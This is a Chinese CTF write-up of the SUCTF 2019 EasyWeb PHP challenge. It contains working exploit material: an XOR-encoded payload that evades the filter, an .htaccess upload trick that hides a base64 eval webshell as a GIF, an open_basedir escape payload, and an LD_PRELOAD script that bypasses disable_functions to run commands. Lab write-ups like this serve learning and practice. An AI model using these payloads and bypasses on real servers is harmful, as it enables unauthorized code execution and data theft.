刷题笔记:[SUCTF 2019]EasyWeb


前言

又是一道做过的题。easy,但不完全easy。

代码审计题

<?php
function get_the_flag(){
    // webadmin will remove your upload file every 20 min!!!!
    $userdir = "upload/tmp_".md5($_SERVER['REMOTE_ADDR']);
    if(!file_exists($userdir)){
    mkdir($userdir);
    }
    if(!empty($_FILES["file"])){
        $tmp_name = $_FILES["file"]["tmp_name"];
        $name = $_FILES["file"]["name"];
        $extension = substr($name, strrpos($name,".")+1);
    if(preg_match("/ph/i",$extension)) die("^_^");
        if(mb_strpos(file_get_contents($tmp_name), '<?')!==False) die("^_^");
    if(!exif_imagetype($tmp_name)) die("^_^");
        $path= $userdir."/".$name;
        @move_uploaded_file($tmp_name, $path);
        print_r($path);
    }
}

$hhh = @$_GET['_'];

if (!$hhh){
    highlight_file(__FILE__);
}

if(strlen($hhh)>18){
    die('One inch long, one inch strong!');
}

if ( preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', $hhh) )
    die('Try something else!');

$character_type = count_chars($hhh, 3);
if(strlen($character_type)>12) die("Almost there!");

eval($hhh);
?>

题解

1.无字母数字shell构造

思路源于p神的文章:一些不包含数字和字母的webshell

因为屏蔽了字母数字,可以思路可以往无字母数字getshell上走,大致有:或,异或,取反三个方案。

因为检测~,所以取反不可行。

于是跑脚本

import re
# Python中正则不需要在首位加//
preg = '[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+'
payload = "_GET"
istr = ''
jstr = ''
for char in payload:
    check = 0
    for i in range(128, 256):  #“Use of undefined constant” 视ascii码大于0x7f的字符为字符串,7.2后提出要废弃
        for j in range(128, 256):
            if not (re.match(preg, chr(i), re.I) or re.match(preg, chr(j), re.I)):
                if(i ^ j == ord(char)):
                    i = '%{:0>2}'.format(hex(i)[2:])
                    j = '%{:0>2}'.format(hex(j)[2:])
                    istr += i
                    jstr += j
                    check = 1
                    break
        if check == 1:
            break
# php经典特性,没加引号则视为字符串,所以可以不加引号减少字符数
# abc^def等价于(a^d).(b^e).(c^f),前者可以大幅减少字符数
print('${%s^%s}' % (istr, jstr))

因为还限制了字符类型,所以尽量用重复的字符。

在字符串的变量的后面跟上{}大括号或者中括号[],里面填写了数字,这里是把字符串变量当成数组处理,所以$_GET['c']等价于$_GET{'c'},但这个问题7.4报warn,8.0可能会被处理。

payload

?_=${%80%80%80%80^%df%c7%c5%d4}{%80}();&%80=phpinfo

在buuctf上,这题其实已经结束了,后面还是很多值得学习的内容,所以继续往下写。

最简情况的字符考量

经测试,在这种最简情况下,尽量用大于0x7f的字符进行异或,否则在urldecode的时候会造成错误。

例如:

%24^%7b结果为_,但%24urldecode结果是$,就与payload里的$造成冲突。

如果加了引号,则不用担心这个问题。

2.利用.htaccess文件上传

.htaccess文件提供了针对目录改变配置的方法,在一个特定的文档目录中放置一个包含一个或多个指令的文件,以作用于此目录及其所有子目录

加了很多限制,所以是要利用get_the_flag()函数

exif_imagetype第一反应肯定是图片马,所以考虑图片马构造,但<?被限制,导致大部分一句话木马都被过滤了,而<script language='php'></script>又只能在php5环境下使用

所以将一句话进行base64编码,然后在.htaccess中利用php伪协议进行解码

.htaccess+文件头检测绕过

因为有exif_imagetype进行文件头检测,一般是加GIF89a进行绕过,但在这里会导致.htaccess文件无法正常生效,所以在.htaccess文件中加上

#define width 1337
#define height 1337

于是.htaccess文件内容如下

#define width 1337
#define height 1337
AddType application/x-httpd-php .a
php_value auto_append_file "php://filter/convert.base64-decode/resource=./shell.a"

shell.a文件内容如下,多加了12是为了补足8个字节,满足base64编码的规则,太细了

base64编码要求:每三个字节/字符一组,也就是字符数是3的整数倍(因为是ascii码,所以一个字节等于一个字符)

GIF89a12
PD9waHAgZXZhbCgkX1JFUVVFU1RbJ2NtZCddKTs/Pg==

因为exif_imagetype是检测开头字符,所以注意GIF89a12前面不要有换行符,不要有空格,python三单引号形式字符串注意换行符。

上传脚本:

import requests
import time

url = r"http://7c586462-a2f1-4008-a870-9303b30d8fb1.node4.buuoj.cn/?_=${%80%80%80%80^%df%c7%c5%d4}{%80}();&%80=get_the_flag"
session = requests.session()
htaccess_content = '''
#define width 1337
#define height 1337
AddType application/x-httpd-php .a
php_value auto_append_file "php://filter/convert.base64-decode/resource=./shell.a"
'''
files_htaccess = {'file': (
    '.htaccess', htaccess_content, 'image/jpeg')}
res_hta = session.post(url, files=files_htaccess)
print(res_hta.text)
shell_file = 'GIF89a12PD9waHAgZXZhbCgkX1JFUVVFU1RbJ2NtZCddKTs/Pg=='
files_shell = {'file': (
    'shell.a', shell_file, 'image/jpeg')}
res_jpg = session.post(url, files=files_shell)

print(res_jpg.text)

3-1.open_basedir bypass

蚁剑连接后,没法访问其他目录。

bypass open_basedir的新方法

payload:

扫目录

cmd=chdir('img');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');var_dump(scandir("/"));

flag在THis_Is_tHe_F14g

读取文件

chdir('img');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');echo(file_get_contents('/THis_Is_tHe_F14g'));

3-2.disable_function bypass

原理可见无需sendmail:巧用LD_PRELOAD突破disable_functions

但这题

由于禁用了mail,所以得考虑其他函数,比如error_logmb_send_mail

<?php
echo "<p> <b>example</b>: bypass_disablefunc.php?cmd=pwd&outpath=/tmp/xx&sopath=/var/www/html/bypass_disablefunc_x64.so </p>";

$cmd = $_GET["cmd"];
$out_path = $_GET["outpath"];
$evil_cmdline = $cmd . " > " . $out_path . " 2>&1";
echo "<p> <b>cmdline</b>: " . $evil_cmdline . "</p>";

putenv("EVIL_CMDLINE=" . $evil_cmdline);

$so_path = $_GET["sopath"];
putenv("LD_PRELOAD=" . $so_path);

//以下三个可以一起放着,函数被禁用也不需要注释,不影响
mail("", "", "", "");
error_log("a", 1);
mb_send_mail("", "", "");

//以下两个没有则需要注释掉,否则无法正常执行
// $img = Imagick("1.mp4"); //如果有ImageMagick这个扩展(文件必须存在)
// imap_mail("", "", ""); //需要安装imap拓展

echo "<p> <b>output</b>: <br />" . nl2br(file_get_contents($out_path)) . "</p>";

unlink($out_path);

成功。单单这个PHP的话,似乎不能用蚁剑连接。

3-3.利用蚁剑一键bypass!

蚁剑nb!破音

然后连接/.antproxy.php,还能再用蚁剑连,蚁剑nb!

结束。

参考链接

https://my.oschina.net/u/4328601/blog/3401784

https://blog.csdn.net/qq_42967398/article/details/105615235


文章作者: 巡璃
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 巡璃 !
评论
  目录